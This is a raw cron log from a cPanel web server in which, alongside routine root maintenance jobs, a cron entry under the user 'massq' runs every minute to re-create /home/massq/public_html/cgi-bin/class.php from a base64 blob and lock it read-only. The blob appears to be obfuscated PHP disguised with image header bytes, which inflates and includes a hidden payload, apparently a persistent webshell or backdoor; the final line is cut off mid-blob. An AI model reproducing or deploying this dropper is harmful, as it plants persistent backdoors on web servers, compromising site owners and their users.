Sep  5 18:34:01 server CROND[23072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:34:01 server CROND[23073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:34:01 server CROND[23074]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:35:01 server CROND[23457]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 18:35:01 server CROND[23458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:35:01 server CROND[23461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:35:01 server CROND[23462]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 18:35:01 server CROND[23463]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 18:35:01 server CROND[23466]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 18:35:01 server CROND[23465]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:35:01 server CROND[23464]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 18:35:01 server CROND[23468]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 18:36:01 server CROND[24385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:36:01 server CROND[24386]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:36:01 server CROND[24387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:37:01 server CROND[24747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:37:01 server CROND[24748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:37:01 server CROND[24749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:38:01 server CROND[25114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:38:01 server CROND[25115]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:38:01 server CROND[25116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:39:01 server CROND[25505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:39:01 server CROND[25504]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 18:39:01 server CROND[25507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:39:01 server CROND[25506]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:40:01 server CROND[25896]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 18:40:01 server CROND[25898]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 18:40:01 server CROND[25901]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 18:40:01 server CROND[25899]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 18:40:01 server CROND[25900]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 18:40:01 server CROND[25902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:40:01 server CROND[25906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:40:01 server CROND[25903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:41:01 server CROND[26819]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:41:01 server CROND[26820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:41:01 server CROND[26821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:42:01 server CROND[27193]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 18:42:01 server CROND[27191]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:42:01 server CROND[27192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:42:01 server CROND[27194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:43:01 server CROND[27570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:43:01 server CROND[27571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:43:01 server CROND[27572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:44:01 server CROND[27938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:44:01 server CROND[27939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:44:01 server CROND[27940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:45:01 server CROND[28315]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 18:45:01 server CROND[28319]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 18:45:01 server CROND[28322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:45:01 server CROND[28324]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 18:45:01 server CROND[28327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:45:01 server CROND[28325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHS